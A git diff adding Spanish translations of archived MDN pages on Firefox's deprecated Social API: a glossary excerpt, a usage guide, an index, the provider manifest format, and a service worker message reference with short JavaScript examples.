+    La notificación de servidor a cliente es un sistema por el cual un servicio Server-to-client notification dispone de notificaciones para ser enviadas de manera rápida y eficaz a un cliente. No es una característica de esta propuesta, aunque las técnicas web existentes incluyendo <a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a>, <a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Server-sent events</a>, <code><a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XMLHttpRequest</a></code> con sondeo largo, long polling (o infrequently quick polling) pueden ser todas usadas para workers de servicio (service workers). Se espera que un worker de servicio que recibe una notificación servidor-a-cliente retransmitirá a menudo estos datos en una notificación cliente-a-usuario.</dd>
+  <dt>
+    Mensaje de servicio (Service message)</dt>
+  <dd>
+    Un mensaje es una cadena de texto codificada en <a href="/en-US/docs/JSON" title="/en-US/docs/JSON">JSON</a> que es enviada por el navegador por el worker de servicio, o es enviada por el worker del servicio al navegador. Estos mensajes son usados para coordinar la visualización de elementos de usuario manejados por el navegador y responder a las interacciones de usuario y contenido. Véase <span style="color: #ffff00;"><span style="background-color: rgb(255, 0, 0);">Serialización de mensajes</span></span> para detalles de codificación.</dd>
+  <dt>
+    Worker de servicio (Service worker)</dt>
+  <dd>
+    Un ambiente de cálculo ejecutando durante mucho tiempo un JavaScript, manejado por el navegador y servido por una dirección web específica de usuario, que actúa como un eje o hub de coordinación y comunicación entre el navegador y un servicio web.</dd>
+  <dt>
+    Compartir (Share)</dt>
+  <dd>
+    El acto, iniciado por el usuario, de enviar una parte de contenido web (normalmente una URL) con un comentario opcional, explicación u otros datos a la dirección del usuario, lista de direcciones de usuario, red social u otro destino. Los detalles de la iteración son específicos para cada servicio y se requiere un <span style="color: #ffff00;"><code><span style="background-color: rgb(255, 0, 0);">ShareWidget</span></code></span> para representar la interfaz de usuario que complete el intercambio.</dd>
+  <dt>
+    Barra lateral (Sidebar)</dt>
+  <dd>
+    Un rectángulo vertical de espacio de pantalla, posicionado al lado del contenido normal del navegador en una ventana de navegación con pestañas, que es estable a lo largo de la navegación y a cambios de foco entre pestañas. Una barra lateral puede ser minimizada, lo que causa que sea mostrada enteramente en el espacio "por encima del contenido / no superpuesto sobre el contenido".</dd>
+  <dt>
+    Proveedor de servicio social (Social service provider)</dt>
+  <dd>
+    Un servicio web que proporciona una o más APIs al navegador para habilitar características sociales. Es definida en el navegador por un archivo estructurado de texto, que le dice al navegador cómo cargar  recursos de JavaScript y HTML que trae sus funciones al navegador.</dd>
+  <dt>
+    Widget (Widget)</dt>
+  <dd>
+    Un elemento de interfaz de usuario, creado por el navegador, que proporciona una región visual para el contenido producido por el proveedor de servicio.</dd>
+</dl>
diff --git a/files/es/social_api/guide/index.html b/files/es/social_api/guide/index.html
new file mode 100644
index 0000000000..72655a87c5
--- /dev/null
+++ b/files/es/social_api/guide/index.html
@@ -0,0 +1,32 @@
+---
+title: Guía social API
+slug: Social_API/Guide
+translation_of: Archive/Social_API/Guide
+---
+<p> </p>
+<p></p><div class="overheadIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div><p></p>
+<p>Este artículo describe el ciclo de vida de un social service worker, como el servicio social permite al navegador interactuar con un sitio  de redes sociales y asi sucesivamente.</p>
+<h2 id="Ciclo_de_vida_de_un_social_service_worker">Ciclo de vida de un social service worker</h2>
+<p>Un proveedor de servicios sociales esta definido por un archivo de texto estructurado (JSON) incluyendo un número de URLs con llave, un nombre y un icono. Los URLs poseen el mismo orígen que el archivo JSON si es cargado remotamente.</p>
+<p>Un social service worker es instanciado del URL de dicho service worker provisto por el proveedor de servicios; este URL  debe resolver a un archivo JavaScript que es evaluado por el trabajador de servicios. El worker es un worker compartido, renderizado "no comprable" en un estilo muy similar a la especificación de los Trabajadores Web ( aunque debe tomarse en cuenta que la implementación actual no es, de hecho, un <a href="/es/docs/Web/API/Worker" title="The Worker interface of the Web Workers API represents a background task that can be easily created and can send messages back to its creator. Creating a worker is as simple as calling the Worker() constructor and specifying a script to be run in the worker thread."><code>Worker</code></a>).</p>
+<p>El service worker permanece con vida hasta finalizar, ya sea por cierre de navegador o por un comando de control explícito del usuario.</p>
+<p>Si el navegador determina que la finalización del service worker es necesaria, todos los contenidos del servicio-nivel asociados con el service worker es descargado ( esto significa, que todos los <span style="color: rgb(255, 255, 0);"><code style="font-size: 14px;"><span style="background-color: rgb(255, 0, 0);">ServiceWindow</span></code></span>s y barras laterales seran cerrados) como parte de la finalización.</p>
+<p>Si el navegador se inicia ( o se reinicia) el servicio durante una sesión de usuario normal, el service worker es primero completamente cargado, y las barras laterales son instanciadas en ventanas existentes. Los <span style="color: rgb(255, 255, 0);"><code style="font-size: 14px;"><span style="background-color: rgb(255, 0, 0);">ServiceWindow</span></code></span>s (como los chats) no son reiniciados automáticamente.</p>
+<h2 id="Flujo_de_implementación">Flujo de implementación</h2>
+<p>Esta sección ilustra como el social service comenzó, como se comunica con el sitio de redes sociales, y se finaliza.</p>
+<p>&lt;&lt;&lt;añada un diagrama actual&gt;&gt;&gt;</p>
+<ol>
+  <li>El servicio es registrado con un servicio, widget de barra lateral y widget para compartir.</li>
+  <li>En el momento de inicio del navegador, el trabajador de servicio es instanciado.</li>
+  <li>El servicio abre un conexión a su servicio, si una sesión de usuario esta disponible, y empieza a recibir eventos de inserción.</li>
+  <li>Cuando una ventana del navegador es creada, el contenido del widget de la barra lateral es instanciado.</li>
+  <li>La barra lateral se registra con el servicio usando <code style="font-size: 14px;">mozSocial.getWorker().postMessage("hello")</code>.</li>
+  <li>El trabajador de servicios captura el mensaje "hello" y añade la <code style="font-size: 14px;">sidebarContentWindow</code> a una lista de recepción de eventos.</li>
+  <li>El contenido de la barra lateral podrá entonces realizar una conformidad de conexiónes publicar-suscribir más elaboradas, para limitar que eventos este recibe.</li>
+  <li>Cuando el servicio recibe eventos del servidor (o de otro contenido), invoca <a href="/es/docs/Web/API/Window/postMessage" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.postMessage()</code></a> en cada referencia de ventana que fue previamente guardada. La barra lateral se regenera segun sea necesario.</li>
+  <li>Si el usuario hace click en la barra lateral para, por ejemplo, abrir una ventana de chat, <a href="/es/docs/Web/API/Window/open" title="Carga un recurso en el contexto de un nuevo navegador (como una ventana) o uno que ya existe, dependiendo de los parametros."><code>window.open()</code></a> se hace la llamada y una nueva ventana es creada. La ventana de chat se registra con el servicio utilizaando <code style="font-size: 14px;">mozSocial.getWorker().postMessage("hello")</code> y recibe un mensaje de vuelta indicandole con quien abrir un chat. El servicio puede entregar eventos servidor-inserción a la ventana de chat, tal vez a través de un sistema publicar-suscribir.</li>
+</ol>
diff --git a/files/es/social_api/index.html b/files/es/social_api/index.html
new file mode 100644
index 0000000000..087ca43479
--- /dev/null
+++ b/files/es/social_api/index.html
@@ -0,0 +1,65 @@
+---
+title: Social API
+slug: Social_API
+tags:
+  - Social
+translation_of: Archive/Social_API
+---
+<p>Social API es una nueva API para facilitar a los navegadores web integrarse con los servicios de redes sociales. Una vez que una red social es implementada por Firefox, permite que el navegador incorpore controles e información del usuario en ese servicio. Los siguientes artículos explican cómo implementar un proveedor de servicios sociales.</p>
+<div class="note">
+  <p><strong>Nota:</strong> Mucho del contenido de las subpáginas que se encuentra aquí ha sido escrito pero aún no se ha migrado a este directorio: temporalmente puedes <a href="/en-US/docs/User:Sheppy/Social_API_temp" title="https://developer.mozilla.org/es/docs/User:Sheppy/Social_API_temp">encontrarlos aquí</a>.</p>
+</div>
+<div class="row topic-page">
+  <div class="section">
+    <h2 class="Documentation" id="Documentación_de_Social_API">Documentación de Social API</h2>
+    <dl>
+      <dt>
+        <a href="/es/docs/Social_API/Glossary" title="/es/docs/Social_API/Glossary">Glosario de Social API</a></dt>
+      <dd>
+        Provee definiciones de los términos principales que necesitaras entender cuando estés usando Social API.</dd>
+      <dt>
+        <a href="/es/docs/Social_API/Guide" title="/es/docs/Social_API/Guide">Social API y guía del servicio social.</a></dt>
+      <dd>
+        Una introducción y guía a Social API y los servicios asociados.</dd>
+      <dt>
+        <a href="/es/docs/Social_API/Manifest" title="/es/docs/Social_API/Manifest">Archivo manifest del servicio social</a></dt>
+      <dd>
+        Una descripción de—y una guía para construir— el archivo Manifest requerido.</dd>
+      <dt>
+        <a href="/es/docs/Social_API/Service_worker_API_reference" title="/es/docs/Social_API/Service_worker_reference">Referencia de la API del social service worker</a></dt>
+      <dd>
+        Una referencia a la API del social service worker.</dd>
+      <dt>
+        <a href="/es/docs/DOM/navigator.mozSocial" title="/es/docs/DOM/navigator.mozSocial">Contenido de la API del servicio social: MozSocial</a></dt>
+      <dd>
+        Una referencia al contenido de la API del servicio social que es proporcionada por el objeto <a href="/es/docs/Web/API/Navigator/MozSocial" title="El objeto MozSocial , regresado por la propiedad navigator.mozSocial , esta disponible dentro del tablero del proveedor de medios de comunicación para proporcionar la funcionalidad que pueda necesitar."><code>navigator.MozSocial</code></a>.</dd>
+      <dt>
+        <a href="/es/docs/Social_API/Widgets" title="/es/docs/Social_API/Widgets">Widgets del servicio social</a></dt>
+      <dd>
+        Una guía de los widgets proporcionados por el servicio social.</dd>
+      <dt>
+        <a href="/es/docs/Social_API/Implementing_chat_functionality" title="/es/docs/Social_API/Implementing_chat_functionality">Implementación de la funcionalidad de chat</a></dt>
+      <dd>
+        Una guía para implementar las características de chat usando Social API.</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/es/docs/tag/Social" title="/es/docs/tag/CSS">Ver todos...</a></span></p>
+  </div>
+  <div class="section">
+    <h2 class="Community" id="Community" name="Community">Obtener ayuda de la comunidad</h2>
+    <p>Necesitas ayuda con un problema relacionado con Social API y no puedes encontrar la solución en la documentación?</p>
+    <ul>
+      <li>Haz tu pregunta en el canal IRC de Mozilla: <a href="irc://irc.mozilla.org/socialdev" title="irc://irc.mozilla.org/socialdev">#socialdev</a></li>
+    </ul>
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">No te olvides de la <em>netiquette</em>...</a></span></p>
+    <h2 class="Tools" id="Tools" name="Tools">Herramientas y demostraciones</h2>
+    <ul>
+      <li><a href="https://github.com/mixedpuppy/socialapi-demo" title="https://github.com/mixedpuppy/socialapi-demo">Un ejemplo de un proveedor de servicio social en github</a>.</li>
+    </ul>
+    <p><span class="alllinks"><a href="/es/docs/tag/Social" title="/es/docs/tag/CSS:Tools">Ver todos...</a></span></p>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Temas relacionados</h2>
+    <ul>
+      <li><a href="/es/docs/Aplicaciones" title="/es/docs/Apps">Aplicaciones para la web abierta</a></li>
+    </ul>
+  </div>
+</div>
+<p> </p>
diff --git a/files/es/social_api/manifiesto/index.html b/files/es/social_api/manifiesto/index.html
new file mode 100644
index 0000000000..5602e901e6
--- /dev/null
+++ b/files/es/social_api/manifiesto/index.html
@@ -0,0 +1,38 @@
+---
+title: Manifiesto del servicio social
+slug: Social_API/Manifiesto
+translation_of: Archive/Social_API/Manifest
+---
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">manifiesto del servicio</span> <span class="hps">social es un</span></span> archivo <a href="/en-US/docs/JSON" title="/en-US/docs/JSON">JSON</a> <span id="result_box" lang="es"><span class="hps">que describe</span> <span class="hps">al navegador</span> <span class="hps">cómo</span> <span class="hps">crear instancias de un </span></span><a href="/en-US/docs/Social_API/Glossary#Service_worker" title="/en-US/docs//Social_API/Glossary#Service_worker">service worker</a> para un <a href="/en-US/docs/Social_API/Glossary#Social_service_provider" title="/en-US/docs//Social_API/Glossary#Social_service_provider">service provider</a>.</p>
+<h2 id="Contenido">Contenido</h2>
+<p><span id="result_box" lang="es"><span class="hps">Como mínimo,</span> <span class="hps">un</span> <span class="hps alt-edited">manifiesto del servicio</span> <span class="hps">social debe</span> <span class="hps">contener</span> <span class="hps">una</span> <span class="hps">propiedad </span><code><span class="hps">services</span></code></span>, de tipo objeto, <span lang="es"><span class="hps">que contiene a su vez una</span> <span class="hps">propiedad </span><span class="hps"><code>social</code></span></span>, también de tipo objeto<span lang="es"><span class="hps">.</span> <span class="hps">El objeto</span> <span class="hps"><code>social</code> debe</span> <span class="hps">contener</span> <span class="hps">las siguientes propiedades:</span></span></p>
+<dl>
+  <dt id="name_property">
+    name</dt>
+  <dd>
+    El nombre del servicio</dd>
+  <dt id="iconURL">
+    iconURL</dt>
+  <dd>
+    <span id="result_box" lang="es"><span class="hps">La dirección URL</span> <span class="hps">de</span>l ícono que usará el<span class="hps"> servicio</span> <span class="hps">en</span> <span class="hps">la interfaz de usuario</span><span>.</span></span></dd>
+  <dt id="workerURL">
+    workerURL</dt>
+  <dd>
+    <span id="result_box" lang="es"><span class="hps">La dirección URL</span> <span class="hps">de un archivo</span> <span class="hps">JavaScript que</span> <span class="hps">define el</span> </span><em>social service worker</em><span id="result_box" lang="es"> <span class="hps">para el servicio.</span></span></dd>
+  <dt id="sidebarURL">
+    sidebarURL</dt>
+  <dd>
+    <span id="result_box" lang="es"><span class="hps">La dirección URL</span> <span class="hps">de un</span></span> <span id="result_box" lang="es"><span class="hps">archivo </span></span>HTML  que define la <span class="short_text" id="result_box" lang="es"><a href="https://developer.mozilla.org/en-US/docs/Social_API/Glossary#Sidebar" title="https://developer.mozilla.org/en-US/docs/Social_API/Glossary#Sidebar"><span class="hps">barra lateral</span></a> <span class="hps">que utiliza el servicio</span>.</span></dd>
+</dl>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush:js;">{
+  "services": {
+    "social": {
+      "name": "<span class="short_text" id="result_box" lang="es"><span class="hps">Ejemplo</span> <span class="hps">de Servicio Social</span></span>",
+      "iconURL": "/icon.png",
+      "workerURL": "/worker.js",
+      "sidebarURL": "/sidebar.htm",
+    }
+  }
+}</pre>
+<p> </p>
diff --git a/files/es/social_api/service_worker_api_reference/index.html b/files/es/social_api/service_worker_api_reference/index.html
new file mode 100644
index 0000000000..9ce93f64b8
--- /dev/null
+++ b/files/es/social_api/service_worker_api_reference/index.html
@@ -0,0 +1,377 @@
+---
+title: Service worker API reference
+slug: Social_API/Service_worker_API_reference
+translation_of: Archive/Social_API/Service_worker_API_reference
+---
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p>
+
+<h3 id="service_Worker_de_Servicio_de_Referencia">service Worker de Servicio de Referencia</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">service Worker</span> <span class="hps">hereda todas las</span> <span class="hps">limitaciones</span> <span class="hps">y los comportamientos</span> <span class="hps">disponibles para</span> service Workeres Compartidos de <span class="hps">HTML5.</span></span> Puede crear XMLHttpRequests, usar WebSockets, recibir mensajes de ventanas y del navegador, usar IndexedDB, y publicar mensajes a otras ventanas.</p>
+
+<p>El service Worker puede usar los métodos <code>ononline</code>, <code>onoffline</code>, y <code>navigator.online</code> y las propiedades que están disponibles para todos los service Workeres para obtener una notificación del estado online/offline de los navegadores.</p>
+
+<p>Además de los métodos estándar, los Service Wokers tienen acceso a funciones adicionales, todas las cuales están implementadas usando mensajes enviados y recibidos por un service Worker "puertos de mensaje". Así como los puertos de mensaje <span class="short_text" id="result_box" lang="es"><span class="hps">son</span> <span class="hps">inherentemente</span> <span class="hps">asíncronos</span></span>, cualquier mensaje que necesite una respuesta involucrará dos mensajes - uno para la pregunta y otro para la respuesta. No todos los mensajes requieren respuesta - esto es parte de la especificación del mensaje. Los mensajes que no requieran una respuesta son análogos a un 'evento' no solicitado. Si un mensaje sí requiere una respuesta, entonces la respuesta siempre deberá ser enviada en el mismo puerto de la petición y en general, el 'asunto' de la respuesta será el asunto de la petición con "-respuesta" concatenado.</p>
+
+<p>Se espera que los service Workeres de Servicio provean una función en un ámbito global, nombrado <code>onconnect</code>. El navegador invocará <code>onconnect</code> durante la fase de arranque,pasando un evento. El service Worker debería acceder a la propiedad <code>ports</code> de este evento para extraer una comunicación estable hacia el puerto del navegador, y persiste por el ciclo de vida del service Worker, como esto:</p>
+
+<pre><code>var apiPort;
+var ports = [];
+onconnect = function(e) {
+    var port = e.ports[0];
+    ports.push(port);
+    port.onmessage = function (msgEvent)
+    {
+        var msg = msgEvent.data;
+        if (msg.topic == "social.port-closing") {
+            if (port == apiPort) {
+                apiPort.close();
+                apiPort = null;
+            }
+            return;
+        }
+        if (msg.topic == "social.initialize") {
+            apiPort = port;
+            initializeAmbientNotifications();
+        }
+    }
+}
+
+// send a message to all provider content
+function broadcast(topic, data) {
+  for (var i = 0; i &lt; ports.length; i++) {
+    ports[i].postMessage({topic: topic, data: data});
+  }
+}
+</code></pre>
+
+<p>Cada mensaje tiene un elemento con 2 campos: 'topic' y 'data'. El <em>topic</em> identifica el método o evento que es utilizado, y el <em>data</em> especifica datos adicionales únicos al topic. Todos los métodos estandarizados y eventos tienen topics que comienzan con "social." - esto significa que los servicios son libres de usar topics sin este prefijo como un detalle de implementación privada (por ejemplo, para comunicar algún contenido de un servicio a un service Worker de servicio).</p>
+
+<h3 id="Serialización_de_mensajes">Serialización de mensajes</h3>
+
+<p>Para un mensaje con el asunto <code>topic</code> y los argumentos (arg1:val1, arg2:val2), construye un objeto como:</p>
+
+<pre><code>{ topic: topic, data: { arg1: val1, arg2: val2 } }
+</code></pre>
+
+<h3 id="Mensajes_de_Control_enviados_a_service_Workeres_de_servicios">Mensajes de Control enviados a service Workeres de servicios</h3>
+
+<h4 id="social.initialize"><code>social.initialize</code></h4>
+
+<p>Enviados por el navegador durante el arranque. Cuando el JavaScript de un service Worker ha sido cargado con éxito y evaluado, el navegador enviará un mensaje con este asunto. Cuando el service Worker recibe el <code>social.initalize event</code>, debería enviar ambos, el <code>social.user-profile</code> y, si los Mrcadores de Página son soportados [como en Fx23], el <code>mensaje desocial.page-mark-config</code>.</p>
+
+<h4 id="social.port-closing"><code>social.port-closing</code></h4>
+
+<p>Enviado por el navegador durante el apagado del service Worker, cuando un PuertodeMensaje para el service Worker está a punto de ser cerrado. Este será el último mensaje que el service Worker recibirá en el puerto.</p>
+
+<h3 id="Mensajes_de_Control_enviados_desde_el_service_Worker_de_Servicio_al_navegador">Mensajes de Control enviados desde el service Worker de Servicio al navegador</h3>
+
+<h4 id="social.reload-worker"><code>social.reload-worker</code></h4>
+
+<p>Enviado por el service Worker para solicitar al navegador que re-cargue al service Worker.</p>
+
+<h4 id="social.cookies-get"><code>social.cookies-get</code></h4>
+
+<p>Enviado por el service Worker para solicitar al navagador que responda con una lista del mismo origen de las <em>cookies</em> para el proveedor. El navegador responderá con un mensaje <code>social.cookies-get-response</code>.</p>
+
+<h4 id="social.request-chat"><code>social.request-chat</code></h4>
+
+<p>Enviado por el service Worker para solicitar al navagador que abra un nuevo panel de chat flotante con la URL especificada. La ventana de chat abierta por el service Worker será abierta en un modo minimizado.</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>URL</strong></p>
+
+<blockquote>
+<p>Cadena, requerida. La URL de la página de chat para abrir en la ventana.</p>
+</blockquote>
+
+<h3 id="Control_de_Notificación_de_Ambiente">Control de Notificación de Ambiente</h3>
+
+<h4 id="social.user-profile"><code>social.user-profile</code></h4>
+
+<p>Enviada por el service Worker, para establecer las propiedades para el proveedor de icónico de perfil de usuario de datos usado para el botón de la barra. Si el retrato de usuario y userName no se encuentran, el botón de IU indicará el estado de no-logueado. Cuando esté indicando un estado de no-logueado, los íconos de estado establecidos vía <code>social.ambient-notification</code> serán removidos. Un servicio que no maneja el <em>loguéo</em> de usuarios deberá enviar este mensaje con los alores apropiados para el sitio, como lo son el ícono del sitio, URL principal y el nombre de la marca.</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>iconURL</strong></p>
+
+<blockquote>
+<p>Cadena, requerida. Si es sumistrada, especifíca la URL hacia una imagen 16x16 pixeles usada por el ícono de estado. El iconURL puede ser una URL de datos con una imagen codificada para evitar solicitudes a los http (ejemplo: "data:image/png;base64,...data...").</p>
+</blockquote>
+
+<p><strong>portrait</strong></p>
+
+<blockquote>
+<p>Cadena, opcional. Si es suministrada, especifíca la URL hacia una imagen de 48x48 pixeles del usuario. El retrato puede ser una URL de datos con una imagen codificada para evitar solicitudes a los http.</p>
+</blockquote>
+
+<p><strong>userName</strong></p>
+
+<blockquote>
+<p>Cadena, opcional. El nombre de la cuenta mostrado con el retrato en el menú de proveedor.</p>
+</blockquote>
+
+<p><strong>dispayName</strong></p>
+
+<blockquote>
+<p>Cadena, requerido. Nombre real del usuario usado para propósitos de visualización en varios elementos de IU.</p>
+</blockquote>
+
+<p><strong>profileURL</strong></p>
+
+<blockquote>
+<p>Cadena, requerido. URL a  la página de perfil de un usuario logueado. Este será abierto en una pestaña normal del navegador cuando el nombre de usuario es cliqueado.</p>
+</blockquote>
+
+<h4 id="social.ambient-notification"><code>social.ambient-notification</code></h4>
+
+<p>Enviado por el service Worker, para actualizar o crear un ambiente de íconos de notificaciones. Es enviado uno por cada ícono. Un usuario debe estar logueado para mostrar los íconos de estado, y deberás llamar a <code>social.user-profile</code> antes de llamar <code>social.ambient-notification</code> para establecer los íconos de estado.</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>name</strong></p>
+
+<blockquote>
+<p>Cadena. Un identificador para el ícono. La primera vez que un nombre dado es mostrado, eficazmente crea un nuevo ícono. Si el mismo nombre es usado en llamadas sub-secuentes, el ícono existente es actualizado.</p>
+</blockquote>
+
+<p><strong>iconURL</strong></p>
+
+<blockquote>
+<p>Cadena, opcional. Si es suministrada, especifíca la URL hacia una imagen de 16x16 pixeles usada para el ícono de estado. El iconURL puede ser una URL con una imagen codificada para evitar solicitudes a los http (ejemplo: "data:image/png;base64,...data...")</p>
+</blockquote>
+
+<p><strong>counter</strong></p>
+
+<blockquote>
+<p>Número, opcional. Especifíca un númeroque será sobre-puesto sobre el ícono, típicamente usado para transmitir un concepto <code>unread</code>.</p>
+</blockquote>
+
+<p><strong>contentPanel</strong></p>
+
+<blockquote>
+<p>Cadena, opcional. Especifíca la URL de un contenido que será mostrado en el panel popup para el ícono.</p>
+</blockquote>
+
+<h3 id="Control_de_Notificaciones_Activo">Control de Notificaciones Activo</h3>
+
+<h4 id="social.notification-create"><code>social.notification-create</code></h4>
+
+<p>Enviado por el service Worker, para crear y mostrar un objeto de notificación. Esto solicita que el navegador notifique al usuario de un relevante e inmediato cambio de estado. Ver <a href="https://developer.mozilla.org/en/DOM/navigator.mozNotification">https://developer.mozilla.org/en/DOM/navigator.mozNotification</a> para más detalles. Cuando el usuario cliquea en la notificación, el mensaje <code>social.notification-action</code> es enviado al service Worker. El título de la notificación siempre será el nombre del proveedor.</p>
+
+<p>NOTA: Queremos aumentar el objeto mozNotification definido en los documentos con un "tipo" de campo adicional. Detalles TBD. NOTA: No hay manera de almacenar la duración y tampoco de "cancelar" una notificación (<span class="short_text" id="result_box" lang="es"><span class="hps">la hipótesis</span> <span class="hps">es de que son</span> <span class="hps">de muy corta duración</span></span>). ¿Está bien?</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>id</strong></p>
+
+<blockquote>
+<p>Cadena: Un ID para la notificación. Este ID no será mostrado pero será pasado atrás vía el evento <code>social.notification-action</code> si el usuario cliquea en la notificación.</p>
+</blockquote>
+
+<p><strong>type</strong></p>
+
+<blockquote>
+<p>Cadena: La cadena Tipo deberá ser consistente para cada <strong>tipo</strong> de notificación. Este será usado por algun sistema de notificación para proveer filtraciones de notificaciones al nivel del usuario. Un proveedor deberá elegir cualquier cadena para el tipo, pero deberá mantener los tipos de cadena consistentes y descriptivos para cada tipo de acción. Por ejemplo, las notificaciones de chat deberían siempre de tener la cadena del mismo tipo. Sugerencia/ejemplo que incluye la notificación:</p>
+</blockquote>
+
+<ul>
+ <li>social.providername.chat-request</li>
+ <li>social.providername.friend-request</li>
+ <li>social.providername.activity (e.g. someone posted to your activity stream)</li>
+</ul>
+
+<p><strong>icon</strong></p>
+
+<blockquote>
+<p>Cadena/nulo. La URL de una imagen a ser colocada en una notificación. Mientras que esta puede ser cualquier RL válida, los implementadores están muy recomendados que usen una URL de datos para minimizar la latencia.</p>
+</blockquote>
+
+<p><strong>body</strong></p>
+
+<blockquote>
+<p>Cadena: El cuerpo del mensaje de notificación. este cuerpo será tomado como un super-enlace y podrá ser cliqueado. El marcado de HTML no es soportado.</p>
+</blockquote>
+
+<p><strong>action</strong></p>
+
+<blockquote>
+<p>Cadena: Una acción para ejecutar cuando el usuario hace clic en la notificación. Si ninguna acción es prevista, la notificación no es cliqueable. Acualmente las únicas acciones soportadas son <strong><em>link</em></strong>, <strong><em>callback</em></strong> y <strong><em>openServiceWindow</em></strong>. Si la acción está difinida, actionArgs también deberá ser definida.</p>
+</blockquote>
+
+<p><strong>actionArgs</strong></p>
+
+<blockquote>
+<p>Objeto: Una objeto con argumentos (abajo). Acciones soportadas y sus actionArgs son:</p>
+</blockquote>
+
+<ul>
+ <li>link
+  <ul>
+   <li>toURL: Cadena: URL para abrirse en una nueva pestaña de navegador.</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="social.notification-action"><code>social.notification-action</code></h4>
+
+<p>Enviada al service Worker como una respuesta a la notificación "callback", después de que el usuario ha cliqueado en la notificación.</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>id</strong></p>
+
+<blockquote>
+<p>Cadena: el ID de la notificación que fue cliqueada.</p>
+</blockquote>
+
+<p><strong>action</strong></p>
+
+<blockquote>
+<p>Cadena: La <strong>acción</strong> enviada en <code>social.notification-create</code>.</p>
+</blockquote>
+
+<p><strong>actionArgs</strong></p>
+
+<blockquote>
+<p>Objeto: Las <strong>actionArgs</strong> enviados en <code>social.notification-create</code>.</p>
+</blockquote>
+
+<h3 id="Marcadores_de_página">Marcadores de página</h3>
+
+<p><strong>ESTADO: CON MIRA EN Fx23 (reemplazando Link Recommendation below)</strong></p>
+
+<p>Las Marcas de Página son un simple mecanismo de compartir una URL con un proveedor social. Las Marcas de Página difieren para compartir en que la URL solo es enviada al proveedor. Esta funcionalidad puede manejar casos de uso como el <em>Me Gusta</em> de Facebook, Google +1, Pocket, u otras características como ver-más-tarde. Cuando estan habilitados, y el botón adicional de Marca aparecerá al final de la botonera Social en Firefox. No hay una IU asociada con otro botón que no sea el cambiar la imagen de botón para reflejar el estado de marcado o no-marcado.</p>
+
+<h4 id="social.page-mark-config"><code>social.page-mark-config</code></h4>
+
+<p>Enviado por el service Worker para notificar a Firefox de soporte para las Marcas de Página. Este mensaje puede ser enviado en cualquier momento. Te recomendamos mandarlo cuando se esté manejando el mensaje <code>social.initialize</code>.</p>
+
+<p><em>Argumentos:</em></p>
+
+<p><strong>images</strong></p>
+
+<blockquote>
+<p>Objeto. Debe tener dos llaves de tipo String, 'marked' y 'unmarked', los cuales serán usados como ícono del botón de Marcador de Página. El agente de usuario buscará si la actual página ha sido marcada - si sí, mostrará la imagen 'marked', de otra manera motrará la imagen 'unmarked'. Puede contener una imagen direccionable - web o una URL de datos conteniendo una imagen de datos generada dinamicamente.  Implementadores están fuertemente recomendados de usar una URL de datos para minimizar la latencia. Cada imagen se espera que sea de de 16x16 píxeles.</p>
+</blockquote>
+
+<p><strong>messages</strong></p>
+
+<blockquote>
+<p>Objeto. Debe tener las siguientes llaves de cadena:</p>
+</blockquote>
+
+<ul>
+ <li>'markedTooltip', 'unmarkedTooltip': Las cadenas usadas como la barra de herramientasen el objetivo de clic cuando las imagenes 'marked' y 'unmarked', respectivamente, son mostradas.</li>
+ <li>'markedLabel', 'unmarkedLabel': Cadenas que serán utilizadas para actualizar una etiqueta después de la acción 'marked' o 'unmarked' es hecha, para reflejar la transición desde marked-to-unmarked o vice-versa.</li>
+</ul>
+
+<h4 id="social.page-mark"><code>social.page-mark</code></h4>
+
+<p>Enviado por el navegador hacia el service Worker cuando el usuario 'marca' o 'desmarca' una página. No hay respuesta esperada. El navegador rastreará el estado de la marca de la página separadamente del proveedor. Si el usuario limpia su historial, todas las marcas de página serán removidas.</p>
+
+<p><em>Arguments:</em></p>
+
+<p><strong>url</strong></p>
+
+<blockquote>
+<p>Cadena. La URL de la página es marcada.</p>
+</blockquote>
+
+<p><strong>marked</strong></p>
+
+<blockquote>
+<p>Boolean.</p>
+</blockquote>
+
+<p> </p>
+
+<h3 id="Enlace_de_Control_de_Recomendación">Enlace de Control de Recomendación</h3>
+
+<p> </p>
+
+<p>NOTA: El siguiente mensaje usuario-recomendación fue RECHAZADO y REMOVIDO de Fx23. Fue reemplazado por Page Marks.</p>
+
+<h4 id="social.user-recommend-prompt"><code>social.user-recommend-prompt</code></h4>
+
+<p><strong>ESTADO: RECHAZADO, REMOVIDO de Fx23</strong><strong>, REEMPLAZADO CON social.page-mark-config</strong></p>
+
+<p>Enviado por el navegador para solicitar una vista de la interfaz para la "recomendación de usuario". El service Worker debe responder con una user-recommend-prompt-response</p>
+
+<p>Nota que tipicamente este mensaje solo será enviado cuando un proveedor está activado y la respuesta será usada para todas las URL's. En otras palabras, el proveedor no espera que este mensaje sea enviado cada vez que el agente de usuario navega o muestra una nueva UTL.</p>
+
+<p><em>Arguments:</em></p>
+
+<p>None</p>
+
+<h4 id="social.user-recommend-prompt-response"><code>social.user-recommend-prompt-response</code></h4>
+
+<p><strong>STATUS: </strong><strong>DEPRECATED, REMOVED Fx23</strong></p>
+
